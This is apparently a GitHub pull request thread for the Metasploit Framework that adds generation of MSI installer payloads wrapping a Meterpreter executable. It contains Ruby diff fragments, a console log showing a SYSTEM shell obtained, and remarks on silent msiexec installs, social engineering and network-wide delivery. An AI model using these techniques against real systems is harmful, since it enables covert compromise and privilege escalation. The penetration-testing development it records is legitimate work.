Generate MSI Payloads #1569

Merged
merged 24 commits into from Sep 27, 2013

Projects

None yet

5 participants

@Meatballs1
Contributor

[ Travis Failure is because Binary Files need Compiling/Creating ]

This allows generation of MSI payloads by replacing a buffer in an existing MSI template with a PE file. The template works with both x86 and x64 PE files so can generate template_x86_windows.msi and symlink to template_x64.

The buffer file can be any junk characters but should be larger than the intended PE file and I recommend a multiple of 4096.

This uses the improved MSI template I recently pulled for AlwaysInstallElevated (#1562) but instead of executing a separate payload.exe it contains a binary file within the MSI.

This EXE file gets extracted to c:\windows\installer\random.tmp and is then executed.

Users are required to enter administrative credentials or accept UAC prompt (if running as admin), but in return you get a SYSTEM shell. An extension to this work could be to work out how to create an MSI file which doesn't require Admin credentials by default. This would probably require a separate template.

If executed with msiexec /quiet then no UAC or Admin credentials prompt are presented to the user. If the user is Admin then you will receive a SYSTEM session. If a normal user then you will get normal user privileges.

The mechanism for replacing the buffer is relatively crude, the code only performs just enough logic to manipulate the MSI generated by my Wix template. No guarantee if changes to the template will be successful, but may be ok if no additional files or binary streams get added.

@Meatballs1
Contributor
msf  payload(reverse_tcp) > generate -t msi -f /root/share/meterp.msi
[*] Writing 159744 bytes to /root/share/meterp.msi...
msf  payload(reverse_tcp) > 
[*] Sending stage (752128 bytes) to 192.168.1.110
[*] Meterpreter session 1 opened (192.168.1.111:4444 -> 192.168.1.110:49279) at 2013-03-09 18:00:16 +0000
sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > ps

...
 7436  6320  MSI11F0.tmp                 x86     1           NT AUTHORITY\SYSTEM           C:\Windows\Installer\MSI11F0.tmp
@Meatballs1
Contributor

Thought msfvenom would automatically pick up changes but have added them now.

Have not updated msfpayload as it is depreciated?

@Meatballs1
Contributor

Updated Exploit::Exe to generate_payload_msi also.

@Meatballs1 Meatballs1 referenced this pull request Aug 25, 2013
Merged

Service exes #2277

@dmaloney-r7
Contributor

@Meatballs1 when you get a chance can you resolve the merge conflcits here, and then I'll try and take a look at this. Sounds pretty good so far.

@Meatballs1 Meatballs1 commented on an outdated diff Aug 25, 2013
lib/msf/util/exe.rb
@@ -612,6 +612,65 @@ def self.to_win64pe_dll(framework, code, opts={})
return pe
end
+ def self.to_win32pe_msi(framework, code, opts={})
+ opts[:msi_template] ||= "template_x86_windows.msi"
+ exe = to_win32pe(framework, code, opts)
+ return replace_msi_buffer(exe, opts)
+ end
+
+ def self.to_win64pe_msi(framework, code, opts={})
+ opts[:msi_template] ||= "template_x64_windows.msi"
+ exe = to_win64pe(framework, code, opts)
+ return replace_msi_buffer(exe, opts)
+ end
+
+ def self.replace_msi_buffer(pe, opts)
+ opts[:msi_template_path] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates")
@Meatballs1
Meatballs1 Aug 25, 2013 Contributor

On a wider Util::Exe note I think this should use Msf::Config.install_path or similar. Have left this consistent with the existing template path method for now.

@Meatballs1
Contributor

I expect the spec change will cause a travis failure, I haven't submitted the binaries.

@Meatballs1 Meatballs1 commented on an outdated diff Aug 25, 2013
lib/msf/core/exploit/exe.rb
@@ -99,6 +103,26 @@ def generate_payload_dll(opts = {})
dll
end
+ def generate_payload_msi(opts = {})
+ return get_custom_exe(datastore['MSI::Custom']) if datastore.include? 'MSI::Custom'
+
+ exe = generate_payload_exe(opts)
+
+ opts.merge! ({
+ :msi_template => datastore['MSI::Template'],
+ :msi_template_path => datastore['MSI::Path'],
+ })
+
+
+ if opts[:arch] and (opts[:arch] == ARCH_X64 or opts[:arch] == ARCH_X86_64)
+ msi = Msf::Util::EXE.to_win64pe_msi(framework, exe, opts)
@Meatballs1
Meatballs1 Aug 25, 2013 Contributor

Need to correct this.

@limhoff-r7
Contributor

Microsoft's API is so clear and concise: "Use a Type 51 Custom Action"

@todb-r7 todb-r7 referenced this pull request in Meatballs1/metasploit-framework Sep 5, 2013
Merged

Retab/pr/1569 #22

@Meatballs1
Contributor

Now can choose if you want a UAC prompt MSI:
If they're an admin -> OK Prompt - > SYSTEM
If they're an admin and run with msiexec /quiet -> SYSTEM (skips UAC prompt)
If they're a user -> Prompt for admin creds -> SYSTEM

NonUAC MSI - no prompts required:
If they're an admin -> Admin (non-elevated)
If they're a user -> User

@todb-r7
Contributor
todb-r7 commented Sep 27, 2013

These merge problems are much less severe than #2306 -- just needs to follow after #2432 then deal with the array in self.to_executable_fmt_formats.

Meatballs1 added some commits Sep 27, 2013
@Meatballs1 Meatballs1 Merge upstream/master 8a9843c
@Meatballs1 Meatballs1 Add MSI bins e806047
@Meatballs1 Meatballs1 Forgot msi-nouac 34c443f
@Meatballs1 Meatballs1 Merge branch 'master' into msi_payload
Conflicts:
	lib/msf/util/exe.rb
6ca01ad
@Meatballs1 Meatballs1 Retab... 8aeb134
@todb-r7
Contributor
todb-r7 commented Sep 27, 2013

MSI payloads seem to work, both msi and msi-nouac. However, the user is left with this warning dialog:

screen shot of warning

No big deal, but a little unexpected. This was on an older Win2k3EE host (My usual stock boring Windows exploit target)

@todb-r7 todb-r7 added a commit that referenced this pull request Sep 27, 2013
@todb-r7 todb-r7 Land #1569, MSI payloads
The bins are signed by Meatballs, everything looks good here, so
landing. Thanks for your patience on these!
2fb770f
@todb-r7 todb-r7 merged commit 8aeb134 into rapid7:master Sep 27, 2013

1 check passed

default The Travis CI build passed
Details
@Meatballs1
Contributor

Thats expected, we purposefully fail installation to prevent it being registered as a new program and the msi files being cached. We have a static template so the GUID and the Version don't change which means that re-exploitation attempts would also fail if it installed correctly.

Exploits running it via msiexec /quiet /i payload.msi wont alert the user. Although it could be used for social engineering I envisage it being more useful for configuration management software that allows you to a deliver an msi across your entire corporate network :)

@Meatballs1 Meatballs1 deleted the Meatballs1:msi_payload branch Sep 27, 2013
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment